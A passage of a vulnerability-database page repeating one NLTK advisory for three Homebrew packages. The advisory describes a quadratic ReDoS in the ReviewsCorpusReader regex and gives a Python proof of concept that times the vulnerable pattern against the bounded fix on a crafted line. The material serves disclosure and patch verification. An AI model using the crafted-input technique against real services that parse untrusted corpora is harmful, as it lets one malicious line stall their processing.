Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-ACRONYM-CVE-2026-12061 (GHSA-FG7F-2386-8897)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:34 – Updated: 2026-10-29 21:52 – Source website
    VLAI
    Summary
    Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
    Details

    Summary

    ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

    Details

    The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

    PoC

    import multiprocessing as mp
    import re
    import time
    
    # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
    FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
    
    # --- Bounded variant from the fix (PR #3583): cap the per-label word run.
    #     A generous bound (real feature labels are short noun phrases) makes the
    #     run linear while never affecting legitimate corpora. ---
    WORD_BOUND = 50
    FEATURES_FIXED = re.compile(
        r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
    )
    
    TIMEOUT = 20.0  # seconds, per measurement
    SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line
    
    
    def _bad_line(n_words):
        """A long line of plain words with NO trailing bracketed annotation."""
        return ("word " * n_words).rstrip()
    
    
    def _worker(pattern_str, line, q):
        pat = re.compile(pattern_str)
        t0 = time.perf_counter()
        pat.findall(line)
        q.put(time.perf_counter() - t0)
    
    
    def timed_findall(pattern, line, timeout=TIMEOUT):
        """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
        q = mp.Queue()
        p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
        p.start()
        p.join(timeout)
        if p.is_alive():
            p.terminate()
            p.join()
            return None
        return q.get() if not q.empty() else None
    
    
    def bench(label, pattern):
        print(f"\n[{label}]  pattern: {pattern.pattern}")
        print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
        prev = None
        for n in SIZES:
            line = _bad_line(n)
            t = timed_findall(pattern, line)
            if t is None:
                print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
                prev = None
            else:
                ratio = f"{t/prev:.1f}x" if prev else "--"
                print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
                prev = t
    
    
    def parity_check():
        """The bound must NOT change extraction on a realistic annotated line."""
        real = (
            "the picture quality[+2] and battery life[+1] are great but "
            "the lens cap[-1] feels cheap and the menu system[-2] is slow"
        )
        a = FEATURES_VULN.findall(real)
        b = FEATURES_FIXED.findall(real)
        print("\n[parity] realistic annotated line — extraction must be identical")
        print(f"  vulnerable regex -> {a}")
        print(f"  bounded   regex  -> {b}")
        print(f"  identical: {a == b}")
        return a == b
    
    
    def main():
        print("=" * 66)
        print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
        print("=" * 66)
        print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")
    
        bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
        bench("BOUNDED     fix #3583", FEATURES_FIXED)
        same = parity_check()
    
        print("\n" + "=" * 66)
        print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
        print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
        print(f" Extraction parity on real annotations preserved: {same}")
        print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
        print("=" * 66)
    
    
    if __name__ == "__main__":
        main()
    

    Impact

    Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "nltk",
            "resource_purl": "pkg:pypi/nltk@3.10.4",
            "upstream_fixed_in": "3.10.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "acronym",
            "purl": "pkg:brew/acronym"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.0.0"
                },
                {
                  "fixed": "2.0.0_4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/nltk@3.10.4",
            "name": "nltk",
            "resource": "nltk",
            "strategy": "registry",
            "subject_version": "3.10.4"
          }
        ]
      },
      "details": "### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded \u2014 an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n\u00b2) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {\u0027words\u0027:\u003e7} {\u0027~bytes\u0027:\u003e8}   {\u0027time\u0027:\u003e12}   {\u0027x prev\u0027:\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {\u0027\u003e%.0fs TIMEOUT\u0027 % TIMEOUT:\u003e12}   {\u0027--\u0027:\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line \u2014 extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.",
      "id": "BREW-acronym-CVE-2026-12061",
      "modified": "2026-10-29T21:52:04Z",
      "published": "2026-08-13T16:34:58Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/nltk/nltk"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex",
      "upstream": [
        "GHSA-fg7f-2386-8897",
        "CVE-2026-12061",
        "PYSEC-2026-3582"
      ]
    }

    BREW-GPTLINE-CVE-2026-12061 (GHSA-FG7F-2386-8897)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:54 – Updated: 2026-10-27 09:31 – Source website
    VLAI
    Summary
    Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
    Details

    Summary

    ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

    Details

    The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

    PoC

    import multiprocessing as mp
    import re
    import time
    
    # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
    FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
    
    # --- Bounded variant from the fix (PR #3583): cap the per-label word run.
    #     A generous bound (real feature labels are short noun phrases) makes the
    #     run linear while never affecting legitimate corpora. ---
    WORD_BOUND = 50
    FEATURES_FIXED = re.compile(
        r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
    )
    
    TIMEOUT = 20.0  # seconds, per measurement
    SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line
    
    
    def _bad_line(n_words):
        """A long line of plain words with NO trailing bracketed annotation."""
        return ("word " * n_words).rstrip()
    
    
    def _worker(pattern_str, line, q):
        pat = re.compile(pattern_str)
        t0 = time.perf_counter()
        pat.findall(line)
        q.put(time.perf_counter() - t0)
    
    
    def timed_findall(pattern, line, timeout=TIMEOUT):
        """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
        q = mp.Queue()
        p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
        p.start()
        p.join(timeout)
        if p.is_alive():
            p.terminate()
            p.join()
            return None
        return q.get() if not q.empty() else None
    
    
    def bench(label, pattern):
        print(f"\n[{label}]  pattern: {pattern.pattern}")
        print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
        prev = None
        for n in SIZES:
            line = _bad_line(n)
            t = timed_findall(pattern, line)
            if t is None:
                print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
                prev = None
            else:
                ratio = f"{t/prev:.1f}x" if prev else "--"
                print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
                prev = t
    
    
    def parity_check():
        """The bound must NOT change extraction on a realistic annotated line."""
        real = (
            "the picture quality[+2] and battery life[+1] are great but "
            "the lens cap[-1] feels cheap and the menu system[-2] is slow"
        )
        a = FEATURES_VULN.findall(real)
        b = FEATURES_FIXED.findall(real)
        print("\n[parity] realistic annotated line — extraction must be identical")
        print(f"  vulnerable regex -> {a}")
        print(f"  bounded   regex  -> {b}")
        print(f"  identical: {a == b}")
        return a == b
    
    
    def main():
        print("=" * 66)
        print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
        print("=" * 66)
        print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")
    
        bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
        bench("BOUNDED     fix #3583", FEATURES_FIXED)
        same = parity_check()
    
        print("\n" + "=" * 66)
        print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
        print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
        print(f" Extraction parity on real annotations preserved: {same}")
        print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
        print("=" * 66)
    
    
    if __name__ == "__main__":
        main()
    

    Impact

    Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "nltk",
            "resource_purl": "pkg:pypi/nltk@3.10.4",
            "upstream_fixed_in": "3.10.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "gptline",
            "purl": "pkg:brew/gptline"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.0.8"
                },
                {
                  "fixed": "1.0.8_22"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/nltk@3.10.4",
            "name": "nltk",
            "resource": "nltk",
            "strategy": "registry",
            "subject_version": "3.10.4"
          }
        ]
      },
      "details": "### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded \u2014 an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n\u00b2) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {\u0027words\u0027:\u003e7} {\u0027~bytes\u0027:\u003e8}   {\u0027time\u0027:\u003e12}   {\u0027x prev\u0027:\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {\u0027\u003e%.0fs TIMEOUT\u0027 % TIMEOUT:\u003e12}   {\u0027--\u0027:\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line \u2014 extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.",
      "id": "BREW-gptline-CVE-2026-12061",
      "modified": "2026-10-27T09:31:28Z",
      "published": "2026-08-13T16:54:46Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/nltk/nltk"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex",
      "upstream": [
        "GHSA-fg7f-2386-8897",
        "CVE-2026-12061",
        "PYSEC-2026-3582"
      ]
    }

    BREW-SAFETY-CVE-2026-12061 (GHSA-FG7F-2386-8897)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:33 – Updated: 2026-10-29 21:42 – Source website
    VLAI
    Summary
    Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
    Details

    Summary

    ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

    Details

    The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

    PoC

    import multiprocessing as mp
    import re
    import time
    
    # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
    FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
    
    # --- Bounded variant from the fix (PR #3583): cap the per-label word run.
    #     A generous bound (real feature labels are short noun phrases) makes the
    #     run linear while never affecting legitimate corpora. ---
    WORD_BOUND = 50
    FEATURES_FIXED = re.compile(
        r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
    )
    
    TIMEOUT = 20.0  # seconds, per measurement
    SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line
    
    
    def _bad_line(n_words):
        """A long line of plain words with NO trailing bracketed annotation."""
        return ("word " * n_words).rstrip()
    
    
    def _worker(pattern_str, line, q):
        pat = re.compile(pattern_str)
        t0 = time.perf_counter()
        pat.findall(line)
        q.put(time.perf_counter() - t0)
    
    
    def timed_findall(pattern, line, timeout=TIMEOUT):
        """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
        q = mp.Queue()
        p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
        p.start()
        p.join(timeout)
        if p.is_alive():
            p.terminate()
            p.join()
            return None
        return q.get() if not q.empty() else None
    
    
    def bench(label, pattern):
        print(f"\n[{label}]  pattern: {pattern.pattern}")
        print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
        prev = None
        for n in SIZES:
            line = _bad_line(n)
            t = timed_findall(pattern, line)
            if t is None:
                print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
                prev = None
            else:
                ratio = f"{t/prev:.1f}x" if prev else "--"
                print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
                prev = t
    
    
    def parity_check():
        """The bound must NOT change extraction on a realistic annotated line."""
        real = (
            "the picture quality[+2] and battery life[+1] are great but "
            "the lens cap[-1] feels cheap and the menu system[-2] is slow"
        )
        a = FEATURES_VULN.findall(real)
        b = FEATURES_FIXED.findall(real)
        print("\n[parity] realistic annotated line — extraction must be identical")
        print(f"  vulnerable regex -> {a}")
        print(f"  bounded   regex  -> {b}")
        print(f"  identical: {a == b}")
        return a == b
    
    
    def main():
        print("=" * 66)
        print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
        print("=" * 66)
        print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")
    
        bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
        bench("BOUNDED     fix #3583", FEATURES_FIXED)
        same = parity_check()
    
        print("\n" + "=" * 66)
        print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
        print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
        print(f" Extraction parity on real annotations preserved: {same}")
        print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
        print("=" * 66)
    
    
    if __name__ == "__main__":
        main()
    

    Impact

    Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "nltk",
            "resource_purl": "pkg:pypi/nltk@3.10.4",
            "upstream_fixed_in": "3.10.0"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "safety",
            "purl": "pkg:brew/safety"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.3.1"
                },
                {
                  "fixed": "3.8.1_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/nltk@3.10.4",
            "name": "nltk",
            "resource": "nltk",
            "strategy": "registry",
            "subject_version": "3.10.4"
          }
        ]
      },
      "details": "### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded \u2014 an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n\u00b2) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {\u0027words\u0027:\u003e7} {\u0027~bytes\u0027:\u003e8}   {\u0027time\u0027:\u003e12}   {\u0027x prev\u0027:\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is 